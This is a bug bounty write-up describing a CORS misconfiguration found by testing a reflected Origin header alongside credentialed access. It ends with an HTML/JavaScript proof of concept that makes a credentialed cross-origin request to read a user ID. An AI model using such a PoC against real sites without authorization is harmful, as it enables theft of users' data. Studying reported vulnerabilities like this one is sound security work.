My First Bounty: How I Exploited a CORS Misconfiguration
.بِسْمِ اللَّهِ الرَّحْمَٰنِ الرَّحِيمِ، وَالصَّلَاةُ وَالسَّلَامُ عَلَىٰ رَسُولِ اللَّهِ
We Stand with Palestine and don’t recognize a country called Israel.
Hi everyone, I’m a web penetration tester, and a part-time bug bounty hunter on HackerOne.
I’d like to share the story of my first bounty, which I earned by discovering a Cross-Origin Resource Sharing (CORS) vulnerability. I hope my explanation is clear and easy to understand.
How I Earned My First Bounty on the HackerOne Platform?
I started bug hunting on HackerOne a long time ago, initially focusing on Vulnerability Disclosure Programs (VDPs) as a part-time endeavor. During this time, I discovered several bugs with varying severities on public programs, which helped me gain access to private programs. When I started working on Bug Bounty Programs (BBPs), I found that discovering vulnerabilities became more challenging, so I returned to VDPs to gain access to more private programs. Eventually, I decided to focus on a single private BBP, and this decision led to my first bounty award.
What’s Cross-Origin Resource Sharing (CORS)?
A CORS vulnerability occurs when a web application incorrectly configures its Cross-Origin Resource Sharing settings, allowing unauthorized domains to access restricted resources. This flaw can lead to sensitive data exposure or unauthorized actions on behalf of users. Exploiting this vulnerability can compromise user security and application integrity.
As you can see above picture, there is a CORS misconfiguration vulnerability exploit scenario. First, attacker makes malicious URL contain CORS exploit code and victim access the URL. Then, victim sends their sensitive data to attacker as exploit code. In here, the response of vulnerable API should include sensitive data.
Now, I will explain in detail how I can exploit the CORS misconfiguration.
I started by opening Firefox and Burp Suite to begin my reconnaissance. I quickly explored the main domain, focusing on its core functionalities like login, signup, password reset, and so on. After some time, I reviewed the Burp Suite history, examining each request carefully. I noticed an endpoint, /newidsd, which returned a JSON object containing a single key-value pair. Interestingly, the response included an ID that seemed unique and confidential to each user.
While inspecting the response headers, I found a critical header: Access-Control-Allow-Credentials: true. Sensing a potential CORS issue, I sent the request to Burp Suite's repeater and added the following request header to test for CORS vulnerabilities: Origin: localhost. The server responded with the two headers needed to exploit a CORS misconfiguration:
Access-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: localhost
Notably, the origin was reflected back without any filtering, confirming the vulnerability. To exploit this, I crafted an HTML exploit that would retrieve the unique user ID linked to each user, as shown below.”
<html>
<body>
<h2>CORS PoC</h2>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhr.open("GET", "<URL>", true);
xhr.withCredentials = true;
xhr.send();
}
</script>
</body>
</html>
